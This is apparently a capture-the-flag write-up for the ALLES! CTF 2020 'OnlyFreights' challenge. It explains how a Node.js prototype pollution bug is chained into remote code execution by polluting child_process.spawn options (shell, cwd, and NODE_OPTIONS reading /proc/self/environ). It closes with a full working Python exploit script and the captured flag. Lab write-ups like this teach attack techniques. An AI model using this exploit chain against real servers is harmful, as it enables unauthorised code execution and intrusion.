ALLES! CTF 2020

OnlyFreights

Check out my OnlyFans OnlyFreights! A website to classify all the freight ships.
NOTE: There is a secret cargo stored at /flag.txt, but you need to convince the /guard executable to hand it to you!

Relevant source code provided:

app.put('/api/directory*', (req, res) => {
    let path = decodeURIComponent(req.path.substring('/api/directory'.length));
    if (!path.startsWith('/')) {
        return res.status(404).send('no.');
    }

    let parentPath = path.split('/').reverse().slice(1).reverse().join('/');
    let id = path.replace(parentPath + '/', '');
    let { value } = req.body;
    find(parentPath)[id] = value;

    res.send('ok');
});

// TODO: remove before release
app.get('/_debug/stats', (req, res) => {
    let child = spawn('ps');
    let output = '';
    const writer = data => { output += data };
    child.stdout.on('data', writer);
    child.stderr.on('data', writer);
    child.on('close', () => res.type('text/plain').send(output));
});

Immediately, line 10 appears to be vulnerable to a prototype pollution attack (which we've seen before) since we can control both id and value.

We know that with a prototype pollution attack, we can inject arbitrary properties into Objects. Since we know that our objective is to get RCE, lets take a close look at line 17.

The documentation for child_process.spawn states that an optional options object can be provided. No options object is provided in the call to spawn('ps') - so lets use prototype pollution to fill out our own.

However, this is where it gets annoying. We can control the following useful things from options:

  • Working directory - cwd
  • Environment variables - env
  • Shell - shell

Note that although we can call an arbitrary binary by setting shell to the binary, we cannot control the arguments it is called with, preventing us from using generic reverse-shell payloads. Secondly, the Docker container running the app server does not actually have direct internet access.

Its here that a team mate links me to https://blog.p6.is/prototype-pollution-to-rce/ which suggests calling node instead of sh, with a payload in the environment variables.

How do we deal with the guard binary then?

int is_interactive() {
    unsigned int a, b, c;
    a = csrng();
    b = csrng();
    printf("%u + %u = ", a, b);
    fscanf(stdin, "%u", &c);
    return a + b == c;
}

int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    if (is_interactive()) {
        print_flag();
    } else {
        printf("Wrong!\n");
        exit(1);
    }
}
Relevant portions of guard binary

Since we have RCE, let's just use JavaScript to "interact" with the binary then!

c= require("child_process").spawn("/guard");
c.stdout.on("data", (d) => {
  a = d.toString();
  console.log(a);
  if (a.includes("+")) {
    c.stdin.write(eval(a.substring(0, a.length - 2)).toString() + String.fromCharCode(10));
  }
});

Putting it all together

We can now perform the following:

  1. Set Object.prototype.shell="node"
  2. Set Object.prototype.env = { NODE_DEBUG: <payload>, NODE_OPTIONS: '-r /proc/self/environ'}

and get our flag?

internal/modules/cjs/loader.js:1033
  throw err;
  ^

Error: Cannot find module '/app/ps'
    at Module._resolveFilename (internal/modules/cjs/loader.js:1030:15)
    at internal/main/check_syntax.js:32:20 {
  code: 'MODULE_NOT_FOUND',
  requireStack: []
}
Output from challenge server

Nope.

What went wrong? Well, setting shell="node" results in node -c ps being executed. ps.js does not exist, so it errors. The solution is simply to create /tmp/ps.js, then set cwd to /tmp so that node runs node -c ps in /tmp.

Final Script

import sys
import requests

host = sys.argv[1]

# https://blog.p6.is/prototype-pollution-to-rce/

PAYLOAD = """c= require("child_process").spawn("/guard");
c.stdout.on("data", (d) => {
  a = d.toString();
  console.log(a);
  if (a.includes("+")) {
    c.stdin.write(eval(a.substring(0, a.length - 2)).toString() + String.fromCharCode(10));
  }
});//
""".replace("\n", "")

dummy = f'require("child_process").execSync("echo \'console.log(1)\' > ps.js");console.log("created ps.js")//'

requests.put(f'{host}/api/directory/__proto__/shell', json={"value": "node"}).text
requests.put(f'{host}/api/directory/__proto__/cwd', json={"value": "/tmp"}).text

requests.put(f'{host}/api/directory/__proto__/env', json={"value": {
  "NODE_DEBUG": dummy,
  "NODE_OPTIONS": '-r /proc/self/environ'
}}).text
print(requests.get(f'{host}/_debug/stats').text)

requests.put(f'{host}/api/directory/__proto__/env', json={"value": {
  "NODE_DEBUG": PAYLOAD,
  "NODE_OPTIONS": '-r /proc/self/environ'
}}).text
print(requests.get(f'{host}/_debug/stats').text)

Giving the following output:

$ python3 onlyfreights.py https://<snip>.challenges.broker5.allesctf.net:1337
created ps.js

1611279738 + 1292408802 = 
ALLES{Gr3ta_w0uld_h4te_th1s_p0lluted_sh3ll}